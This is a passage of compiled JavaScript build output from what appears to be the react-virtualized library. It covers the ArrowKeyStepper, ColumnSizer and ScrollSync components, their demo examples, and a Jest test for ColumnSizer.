    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onClickableChange", function (event) {
      if (event.target instanceof HTMLInputElement) {
        _this.setState({
          isClickable: event.target.checked,
          scrollToColumn: 0,
          scrollToRow: 0
        });
      }
    });
    return _this;
  }

  (0, _createClass2["default"])(ArrowKeyStepperExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          mode = _this$state.mode,
          isClickable = _this$state.isClickable,
          scrollToColumn = _this$state.scrollToColumn,
          scrollToRow = _this$state.scrollToRow;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "ArrowKeyStepper",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/ArrowKeyStepper/ArrowKeyStepper.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/ArrowKeyStepper.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "This high-order component decorates a ", React.createElement("code", null, "List"), ",", ' ', React.createElement("code", null, "Table"), ", or ", React.createElement("code", null, "Grid"), " and responds to arrow-key events by scrolling one row or column at a time. Focus in the `Grid` below and use the left, right, up, or down arrow keys to move around within the grid."), React.createElement(_ContentBox.ContentBoxParagraph, null, "Note that unlike the other HOCs in react-virtualized, the", ' ', React.createElement("code", null, "ArrowKeyStepper"), " adds a ", React.createElement("code", null, "<div>"), " element around its children in order to attach a key-down event handler."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("strong", null, "mode"), ":", React.createElement("label", null, React.createElement("input", {
        "aria-label": "Set mode equal to \"cells\"",
        checked: mode === 'cells',
        className: _ArrowKeyStepperExample["default"].Radio,
        type: "radio",
        onChange: function onChange(event) {
          return event.target.checked && _this2.setState({
            mode: 'cells'
          });
        },
        value: "cells"
      }), "cells"), React.createElement("label", null, React.createElement("input", {
        "aria-label": "Set mode equal to \"edges\"",
        checked: mode === 'edges',
        className: _ArrowKeyStepperExample["default"].Radio,
        type: "radio",
        onChange: function onChange(event) {
          return event.target.checked && _this2.setState({
            mode: 'edges'
          });
        },
        value: "edges"
      }), "edges (default)")), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _ArrowKeyStepperExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Enable click selection? (resets selection)",
        className: _ArrowKeyStepperExample["default"].checkbox,
        type: "checkbox",
        checked: isClickable,
        onChange: this._onClickableChange
      }), "Enable click selection? (resets selection)")), React.createElement(_["default"], {
        columnCount: 100,
        isControlled: isClickable,
        onScrollToChange: isClickable ? this._selectCell : undefined,
        mode: mode,
        rowCount: 100,
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      }, function (_ref5) {
        var onSectionRendered = _ref5.onSectionRendered,
            scrollToColumn = _ref5.scrollToColumn,
            scrollToRow = _ref5.scrollToRow;
        return React.createElement("div", null, React.createElement(_ContentBox.ContentBoxParagraph, null, "Most-recently-stepped column: ".concat(scrollToColumn, ", row: ").concat(scrollToRow)), React.createElement(_AutoSizer["default"], {
          disableHeight: true
        }, function (_ref6) {
          var width = _ref6.width;
          return React.createElement(_Grid["default"], {
            className: _ArrowKeyStepperExample["default"].Grid,
            columnWidth: _this2._getColumnWidth,
            columnCount: 100,
            height: 200,
            onSectionRendered: onSectionRendered,
            cellRenderer: function cellRenderer(_ref7) {
              var columnIndex = _ref7.columnIndex,
                  key = _ref7.key,
                  rowIndex = _ref7.rowIndex,
                  style = _ref7.style;
              return _this2._cellRenderer({
                columnIndex: columnIndex,
                key: key,
                rowIndex: rowIndex,
                scrollToColumn: scrollToColumn,
                scrollToRow: scrollToRow,
                style: style
              });
            },
            rowHeight: _this2._getRowHeight,
            rowCount: 100,
            scrollToColumn: scrollToColumn,
            scrollToRow: scrollToRow,
            width: width
          });
        }));
      }));
    }
  }]);
  return ArrowKeyStepperExample;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {}), _temp);
exports["default"] = ArrowKeyStepperExample;commonjs/ColumnSizer/ColumnSizer.example.js000064400000015564151677406000015126 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var React = _interopRequireWildcard(require("react"));

var _ColumnSizerExample = _interopRequireDefault(require("./ColumnSizer.example.css"));

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _ColumnSizer = _interopRequireDefault(require("./ColumnSizer"));

var _Grid = _interopRequireDefault(require("../Grid"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var ColumnSizerExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(ColumnSizerExample, _React$PureComponent);

  function ColumnSizerExample(props) {
    var _this;

    (0, _classCallCheck2["default"])(this, ColumnSizerExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(ColumnSizerExample).call(this, props));
    _this.state = {
      columnMaxWidth: 100,
      columnMinWidth: 75,
      columnCount: 10
    };
    _this._noColumnMaxWidthChange = _this._noColumnMaxWidthChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._noColumnMinWidthChange = _this._noColumnMinWidthChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onColumnCountChange = _this._onColumnCountChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._noContentRenderer = _this._noContentRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(ColumnSizerExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnMaxWidth = _this$state.columnMaxWidth,
          columnMinWidth = _this$state.columnMinWidth,
          columnCount = _this$state.columnCount;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "ColumnSizer",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/ColumnSizer/ColumnSizer.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/ColumnSizer.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "This component decorates a ", React.createElement("code", null, "Grid"), " and calculates the width of its columns based on the current (", React.createElement("code", null, "Grid"), ") width."), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Num Columns",
        name: "columnCount",
        onChange: this._onColumnCountChange,
        value: columnCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Column Min Width",
        name: "columnMinWidth",
        onChange: this._noColumnMinWidthChange,
        value: columnMinWidth
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Column Max Width",
        name: "columnMaxWidth",
        onChange: this._noColumnMaxWidthChange,
        value: columnMaxWidth
      })), React.createElement("div", null, React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(_ColumnSizer["default"], {
          columnMaxWidth: columnMaxWidth,
          columnMinWidth: columnMinWidth,
          columnCount: columnCount,
          key: "GridColumnSizer",
          width: width
        }, function (_ref2) {
          var adjustedWidth = _ref2.adjustedWidth,
              columnWidth = _ref2.columnWidth,
              registerChild = _ref2.registerChild;
          return React.createElement("div", {
            className: _ColumnSizerExample["default"].GridContainer,
            style: {
              height: 50,
              width: adjustedWidth
            }
          }, React.createElement(_Grid["default"], {
            ref: registerChild,
            columnWidth: columnWidth,
            columnCount: columnCount,
            height: 50,
            noContentRenderer: _this2._noContentRenderer,
            cellRenderer: _this2._cellRenderer,
            rowHeight: 50,
            rowCount: 1,
            width: adjustedWidth
          }));
        });
      })));
    }
  }, {
    key: "_noColumnMaxWidthChange",
    value: function _noColumnMaxWidthChange(event) {
      var columnMaxWidth = parseInt(event.target.value, 10);

      if (isNaN(columnMaxWidth)) {
        columnMaxWidth = undefined;
      } else {
        columnMaxWidth = Math.min(1000, columnMaxWidth);
      }

      this.setState({
        columnMaxWidth: columnMaxWidth
      });
    }
  }, {
    key: "_noColumnMinWidthChange",
    value: function _noColumnMinWidthChange(event) {
      var columnMinWidth = parseInt(event.target.value, 10);

      if (isNaN(columnMinWidth)) {
        columnMinWidth = undefined;
      } else {
        columnMinWidth = Math.max(1, columnMinWidth);
      }

      this.setState({
        columnMinWidth: columnMinWidth
      });
    }
  }, {
    key: "_onColumnCountChange",
    value: function _onColumnCountChange(event) {
      this.setState({
        columnCount: parseInt(event.target.value, 10) || 0
      });
    }
  }, {
    key: "_noContentRenderer",
    value: function _noContentRenderer() {
      return React.createElement("div", {
        className: _ColumnSizerExample["default"].noCells
      }, "No cells");
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref3) {
      var columnIndex = _ref3.columnIndex,
          key = _ref3.key,
          rowIndex = _ref3.rowIndex,
          style = _ref3.style;
      var className = columnIndex === 0 ? _ColumnSizerExample["default"].firstCell : _ColumnSizerExample["default"].cell;
      return React.createElement("div", {
        className: className,
        key: key,
        style: style
      }, "R:".concat(rowIndex, ", C:").concat(columnIndex));
    }
  }]);
  return ColumnSizerExample;
}(React.PureComponent);

exports["default"] = ColumnSizerExample;commonjs/ColumnSizer/index.js000064400000000731151677406000012317 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "ColumnSizer", {
  enumerable: true,
  get: function get() {
    return _ColumnSizer["default"];
  }
});
exports["default"] = void 0;

var _ColumnSizer = _interopRequireDefault(require("./ColumnSizer"));

var _default = _ColumnSizer["default"];
exports["default"] = _default;commonjs/ColumnSizer/ColumnSizer.js000064400000011237151677406000013465 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

/**
 * High-order component that auto-calculates column-widths for `Grid` cells.
 */
var ColumnSizer =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(ColumnSizer, _React$PureComponent);

  function ColumnSizer(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, ColumnSizer);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(ColumnSizer).call(this, props, context));
    _this._registerChild = _this._registerChild.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(ColumnSizer, [{
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps) {
      var _this$props = this.props,
          columnMaxWidth = _this$props.columnMaxWidth,
          columnMinWidth = _this$props.columnMinWidth,
          columnCount = _this$props.columnCount,
          width = _this$props.width;

      if (columnMaxWidth !== prevProps.columnMaxWidth || columnMinWidth !== prevProps.columnMinWidth || columnCount !== prevProps.columnCount || width !== prevProps.width) {
        if (this._registeredChild) {
          this._registeredChild.recomputeGridSize();
        }
      }
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props2 = this.props,
          children = _this$props2.children,
          columnMaxWidth = _this$props2.columnMaxWidth,
          columnMinWidth = _this$props2.columnMinWidth,
          columnCount = _this$props2.columnCount,
          width = _this$props2.width;
      var safeColumnMinWidth = columnMinWidth || 1;
      var safeColumnMaxWidth = columnMaxWidth ? Math.min(columnMaxWidth, width) : width;
      var columnWidth = width / columnCount;
      columnWidth = Math.max(safeColumnMinWidth, columnWidth);
      columnWidth = Math.min(safeColumnMaxWidth, columnWidth);
      columnWidth = Math.floor(columnWidth);
      var adjustedWidth = Math.min(width, columnWidth * columnCount);
      return children({
        adjustedWidth: adjustedWidth,
        columnWidth: columnWidth,
        getColumnWidth: function getColumnWidth() {
          return columnWidth;
        },
        registerChild: this._registerChild
      });
    }
  }, {
    key: "_registerChild",
    value: function _registerChild(child) {
      if (child && typeof child.recomputeGridSize !== 'function') {
        throw Error('Unexpected child type registered; only Grid/MultiGrid children are supported.');
      }

      this._registeredChild = child;

      if (this._registeredChild) {
        this._registeredChild.recomputeGridSize();
      }
    }
  }]);
  return ColumnSizer;
}(React.PureComponent);

exports["default"] = ColumnSizer;
ColumnSizer.propTypes = process.env.NODE_ENV !== "production" ? {
  /**
   * Function responsible for rendering a virtualized Grid.
   * This function should implement the following signature:
   * ({ adjustedWidth, getColumnWidth, registerChild }) => PropTypes.element
   *
   * The specified :getColumnWidth function should be passed to the Grid's :columnWidth property.
   * The :registerChild should be passed to the Grid's :ref property.
   * The :adjustedWidth property is optional; it reflects the lesser of the overall width or the width of all columns.
   */
  children: _propTypes["default"].func.isRequired,

  /** Optional maximum allowed column width */
  columnMaxWidth: _propTypes["default"].number,

  /** Optional minimum allowed column width */
  columnMinWidth: _propTypes["default"].number,

  /** Number of columns in Grid or Table child */
  columnCount: _propTypes["default"].number.isRequired,

  /** Width of Grid or Table child */
  width: _propTypes["default"].number.isRequired
} : {};commonjs/ColumnSizer/ColumnSizer.jest.js000064400000012412151677406000014425 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _ColumnSizer = _interopRequireDefault(require("./ColumnSizer"));

var _Grid = _interopRequireDefault(require("../Grid"));

describe('ColumnSizer', function () {
  function getMarkup() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$columnMinWidth = _ref.columnMinWidth,
        columnMinWidth = _ref$columnMinWidth === void 0 ? undefined : _ref$columnMinWidth,
        _ref$columnMaxWidth = _ref.columnMaxWidth,
        columnMaxWidth = _ref$columnMaxWidth === void 0 ? undefined : _ref$columnMaxWidth,
        _ref$columnCount = _ref.columnCount,
        columnCount = _ref$columnCount === void 0 ? 10 : _ref$columnCount,
        _ref$width = _ref.width,
        width = _ref$width === void 0 ? 200 : _ref$width;

    function cellRenderer(_ref2) {
      var columnIndex = _ref2.columnIndex,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          style = _ref2.style;
      return React.createElement("div", {
        className: "gridItem",
        key: key,
        style: style
      }, "row:".concat(rowIndex, ", column:").concat(columnIndex));
    }

    return React.createElement(_ColumnSizer["default"], {
      columnMinWidth: columnMinWidth,
      columnMaxWidth: columnMaxWidth,
      columnCount: columnCount,
      width: width
    }, function (_ref3) {
      var adjustedWidth = _ref3.adjustedWidth,
          columnWidth = _ref3.columnWidth,
          registerChild = _ref3.registerChild;
      return React.createElement("div", null, React.createElement(_Grid["default"], {
        columnCount: columnCount,
        columnWidth: columnWidth,
        height: 50,
        ref: registerChild,
        cellRenderer: cellRenderer,
        rowHeight: 50,
        rowCount: 1,
        width: adjustedWidth
      }), React.createElement("div", {
        className: "debug"
      }, "adjustedWidth:".concat(adjustedWidth, " columnWidth:").concat(columnWidth)));
    });
  }

  it('should distribute column widths evenly if no min/max boundaries have been set', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
    expect(rendered.querySelector('.debug').textContent).toContain('columnWidth:20');
  });
  it('should respect :columnMaxWidth if specified', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      columnMaxWidth: 10
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('columnWidth:10');
  });
  it('should respect :columnMinWidth if specified', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      columnMinWidth: 30
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('columnWidth:30');
  });
  describe('recomputeGridSize', function () {
    function helper(updatedProps, expectedTextContent) {
      var renderedA = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(renderedA.querySelector('.debug').textContent).toContain('columnWidth:20');
      var renderedB = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup(updatedProps)));
      expect(renderedB.querySelector('.debug').textContent).toContain(expectedTextContent);
    }

    it('should recompute metadata sizes if :columnMinWidth changes', function () {
      helper({
        columnMinWidth: 30
      }, 'columnWidth:30');
    });
    it('should recompute metadata sizes if :columnMaxWidth changes', function () {
      helper({
        columnMaxWidth: 15
      }, 'columnWidth:15');
    });
    it('should recompute metadata sizes if :width changes', function () {
      helper({
        width: 300
      }, 'columnWidth:30');
    });
    it('should recompute metadata sizes if :columnCount changes', function () {
      helper({
        columnCount: 2
      }, 'columnWidth:100');
    });
  });
  it('should pass the :width as :adjustedWidth if columns require more than the :width to be displayed', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      columnMinWidth: 30
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('adjustedWidth:200');
  });
  it('should pass an :adjustedWidth if columns require less than the :width to be displayed', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      columnMaxWidth: 10
    })));
    expect(rendered.querySelector('.debug').textContent).toContain('adjustedWidth:100');
  });
  it('should error if the registered child is not a Grid or a MultiGrid', function () {
    spyOn(console, 'error');
    expect(function () {
      (0, _TestUtils.render)(React.createElement(_ColumnSizer["default"], {
        columnMinWidth: 100,
        columnMaxWidth: 100,
        columnCount: 100,
        width: 100
      }, function (_ref4) {
        var registerChild = _ref4.registerChild;
        return React.createElement("div", {
          ref: registerChild
        });
      }));
    }).toThrow();
  });
});es/ScrollSync/ScrollSync.js000064400000005467151677406000011721 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import PropTypes from 'prop-types';
import * as React from 'react';
/**
 * HOC that simplifies the process of synchronizing scrolling between two or more virtualized components.
 */

var ScrollSync =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(ScrollSync, _React$PureComponent);

  function ScrollSync(props, context) {
    var _this;

    _classCallCheck(this, ScrollSync);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(ScrollSync).call(this, props, context));
    _this.state = {
      clientHeight: 0,
      clientWidth: 0,
      scrollHeight: 0,
      scrollLeft: 0,
      scrollTop: 0,
      scrollWidth: 0
    };
    _this._onScroll = _this._onScroll.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(ScrollSync, [{
    key: "render",
    value: function render() {
      var children = this.props.children;
      var _this$state = this.state,
          clientHeight = _this$state.clientHeight,
          clientWidth = _this$state.clientWidth,
          scrollHeight = _this$state.scrollHeight,
          scrollLeft = _this$state.scrollLeft,
          scrollTop = _this$state.scrollTop,
          scrollWidth = _this$state.scrollWidth;
      return children({
        clientHeight: clientHeight,
        clientWidth: clientWidth,
        onScroll: this._onScroll,
        scrollHeight: scrollHeight,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        scrollWidth: scrollWidth
      });
    }
  }, {
    key: "_onScroll",
    value: function _onScroll(_ref) {
      var clientHeight = _ref.clientHeight,
          clientWidth = _ref.clientWidth,
          scrollHeight = _ref.scrollHeight,
          scrollLeft = _ref.scrollLeft,
          scrollTop = _ref.scrollTop,
          scrollWidth = _ref.scrollWidth;
      this.setState({
        clientHeight: clientHeight,
        clientWidth: clientWidth,
        scrollHeight: scrollHeight,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        scrollWidth: scrollWidth
      });
    }
  }]);

  return ScrollSync;
}(React.PureComponent);

export { ScrollSync as default };
ScrollSync.propTypes = process.env.NODE_ENV !== "production" ? {
  /**
   * Function responsible for rendering 2 or more virtualized components.
   * This function should implement the following signature:
   * ({ onScroll, scrollLeft, scrollTop }) => PropTypes.element
   */
  children: PropTypes.func.isRequired
} : {};es/ScrollSync/index.js000064400000000130151677406000010713 0ustar00import ScrollSync from './ScrollSync';
export default ScrollSync;
export { ScrollSync };es/ScrollSync/ScrollSync.example.js000064400000023426151677406000013346 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import * as React from 'react';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import AutoSizer from '../AutoSizer';
import Grid from '../Grid';
import ScrollSync from './ScrollSync';
import clsx from 'clsx';
import styles from './ScrollSync.example.css';
import scrollbarSize from 'dom-helpers/scrollbarSize';
var LEFT_COLOR_FROM = hexToRgb('#471061');
var LEFT_COLOR_TO = hexToRgb('#BC3959');
var TOP_COLOR_FROM = hexToRgb('#000000');
var TOP_COLOR_TO = hexToRgb('#333333');

var GridExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(GridExample, _React$PureComponent);

  function GridExample(props, context) {
    var _this;

    _classCallCheck(this, GridExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(GridExample).call(this, props, context));
    _this.state = {
      columnWidth: 75,
      columnCount: 50,
      height: 300,
      overscanColumnCount: 0,
      overscanRowCount: 5,
      rowHeight: 40,
      rowCount: 100
    };
    _this._renderBodyCell = _this._renderBodyCell.bind(_assertThisInitialized(_this));
    _this._renderHeaderCell = _this._renderHeaderCell.bind(_assertThisInitialized(_this));
    _this._renderLeftSideCell = _this._renderLeftSideCell.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(GridExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          columnCount = _this$state.columnCount,
          columnWidth = _this$state.columnWidth,
          height = _this$state.height,
          overscanColumnCount = _this$state.overscanColumnCount,
          overscanRowCount = _this$state.overscanRowCount,
          rowHeight = _this$state.rowHeight,
          rowCount = _this$state.rowCount;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "ScrollSync",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/ScrollSync/ScrollSync.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/ScrollSync.md"
      }), React.createElement(ContentBoxParagraph, null, "High order component that simplifies the process of synchronizing scrolling between two or more virtualized components."), React.createElement(ContentBoxParagraph, null, "This example shows two ", React.createElement("code", null, "Grid"), "s and one ", React.createElement("code", null, "List"), ' ', "configured to mimic a spreadsheet with a fixed header and first column. It also shows how a scroll callback can be used to control UI properties such as background color."), React.createElement(ScrollSync, null, function (_ref) {
        var clientHeight = _ref.clientHeight,
            clientWidth = _ref.clientWidth,
            onScroll = _ref.onScroll,
            scrollHeight = _ref.scrollHeight,
            scrollLeft = _ref.scrollLeft,
            scrollTop = _ref.scrollTop,
            scrollWidth = _ref.scrollWidth;
        var x = scrollLeft / (scrollWidth - clientWidth);
        var y = scrollTop / (scrollHeight - clientHeight);
        var leftBackgroundColor = mixColors(LEFT_COLOR_FROM, LEFT_COLOR_TO, y);
        var leftColor = '#ffffff';
        var topBackgroundColor = mixColors(TOP_COLOR_FROM, TOP_COLOR_TO, x);
        var topColor = '#ffffff';
        var middleBackgroundColor = mixColors(leftBackgroundColor, topBackgroundColor, 0.5);
        var middleColor = '#ffffff';
        return React.createElement("div", {
          className: styles.GridRow
        }, React.createElement("div", {
          className: styles.LeftSideGridContainer,
          style: {
            position: 'absolute',
            left: 0,
            top: 0,
            color: leftColor,
            backgroundColor: "rgb(".concat(topBackgroundColor.r, ",").concat(topBackgroundColor.g, ",").concat(topBackgroundColor.b, ")")
          }
        }, React.createElement(Grid, {
          cellRenderer: _this2._renderLeftHeaderCell,
          className: styles.HeaderGrid,
          width: columnWidth,
          height: rowHeight,
          rowHeight: rowHeight,
          columnWidth: columnWidth,
          rowCount: 1,
          columnCount: 1
        })), React.createElement("div", {
          className: styles.LeftSideGridContainer,
          style: {
            position: 'absolute',
            left: 0,
            top: rowHeight,
            color: leftColor,
            backgroundColor: "rgb(".concat(leftBackgroundColor.r, ",").concat(leftBackgroundColor.g, ",").concat(leftBackgroundColor.b, ")")
          }
        }, React.createElement(Grid, {
          overscanColumnCount: overscanColumnCount,
          overscanRowCount: overscanRowCount,
          cellRenderer: _this2._renderLeftSideCell,
          columnWidth: columnWidth,
          columnCount: 1,
          className: styles.LeftSideGrid,
          height: height - scrollbarSize(),
          rowHeight: rowHeight,
          rowCount: rowCount,
          scrollTop: scrollTop,
          width: columnWidth
        })), React.createElement("div", {
          className: styles.GridColumn
        }, React.createElement(AutoSizer, {
          disableHeight: true
        }, function (_ref2) {
          var width = _ref2.width;
          return React.createElement("div", null, React.createElement("div", {
            style: {
              backgroundColor: "rgb(".concat(topBackgroundColor.r, ",").concat(topBackgroundColor.g, ",").concat(topBackgroundColor.b, ")"),
              color: topColor,
              height: rowHeight,
              width: width - scrollbarSize()
            }
          }, React.createElement(Grid, {
            className: styles.HeaderGrid,
            columnWidth: columnWidth,
            columnCount: columnCount,
            height: rowHeight,
            overscanColumnCount: overscanColumnCount,
            cellRenderer: _this2._renderHeaderCell,
            rowHeight: rowHeight,
            rowCount: 1,
            scrollLeft: scrollLeft,
            width: width - scrollbarSize()
          })), React.createElement("div", {
            style: {
              backgroundColor: "rgb(".concat(middleBackgroundColor.r, ",").concat(middleBackgroundColor.g, ",").concat(middleBackgroundColor.b, ")"),
              color: middleColor,
              height: height,
              width: width
            }
          }, React.createElement(Grid, {
            className: styles.BodyGrid,
            columnWidth: columnWidth,
            columnCount: columnCount,
            height: height,
            onScroll: onScroll,
            overscanColumnCount: overscanColumnCount,
            overscanRowCount: overscanRowCount,
            cellRenderer: _this2._renderBodyCell,
            rowHeight: rowHeight,
            rowCount: rowCount,
            width: width
          })));
        })));
      }));
    }
  }, {
    key: "_renderBodyCell",
    value: function _renderBodyCell(_ref3) {
      var columnIndex = _ref3.columnIndex,
          key = _ref3.key,
          rowIndex = _ref3.rowIndex,
          style = _ref3.style;

      if (columnIndex < 1) {
        return;
      }

      return this._renderLeftSideCell({
        columnIndex: columnIndex,
        key: key,
        rowIndex: rowIndex,
        style: style
      });
    }
  }, {
    key: "_renderHeaderCell",
    value: function _renderHeaderCell(_ref4) {
      var columnIndex = _ref4.columnIndex,
          key = _ref4.key,
          rowIndex = _ref4.rowIndex,
          style = _ref4.style;

      if (columnIndex < 1) {
        return;
      }

      return this._renderLeftHeaderCell({
        columnIndex: columnIndex,
        key: key,
        rowIndex: rowIndex,
        style: style
      });
    }
  }, {
    key: "_renderLeftHeaderCell",
    value: function _renderLeftHeaderCell(_ref5) {
      var columnIndex = _ref5.columnIndex,
          key = _ref5.key,
          style = _ref5.style;
      return React.createElement("div", {
        className: styles.headerCell,
        key: key,
        style: style
      }, "C".concat(columnIndex));
    }
  }, {
    key: "_renderLeftSideCell",
    value: function _renderLeftSideCell(_ref6) {
      var columnIndex = _ref6.columnIndex,
          key = _ref6.key,
          rowIndex = _ref6.rowIndex,
          style = _ref6.style;
      var rowClass = rowIndex % 2 === 0 ? columnIndex % 2 === 0 ? styles.evenRow : styles.oddRow : columnIndex % 2 !== 0 ? styles.evenRow : styles.oddRow;
      var classNames = clsx(rowClass, styles.cell);
      return React.createElement("div", {
        className: classNames,
        key: key,
        style: style
      }, "R".concat(rowIndex, ", C").concat(columnIndex));
    }
  }]);

  return GridExample;
}(React.PureComponent);

export { GridExample as default };

function hexToRgb(hex) {
  var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
  return result ? {
    r: parseInt(result[1], 16),
    g: parseInt(result[2], 16),
    b: parseInt(result[3], 16)
  } : null;
}
/**
 * Ported from sass implementation in C
 * https://github.com/sass/libsass/blob/0e6b4a2850092356aa3ece07c6b249f0221caced/functions.cpp#L209
 */


function mixColors(color1, color2, amount) {
  var weight1 = amount;
  var weight2 = 1 - amount;
  var r = Math.round(weight1 * color1.r + weight2 * color2.r);
  var g = Math.round(weight1 * color1.g + weight2 * color2.g);
  var b = Math.round(weight1 * color1.b + weight2 * color2.b);
  return {
    r: r,
    g: g,
    b: b
  };
}es/ScrollSync/ScrollSync.jest.js000064400000005353151677406000012657 0ustar00import * as React from 'react';
import { findDOMNode } from 'react-dom';
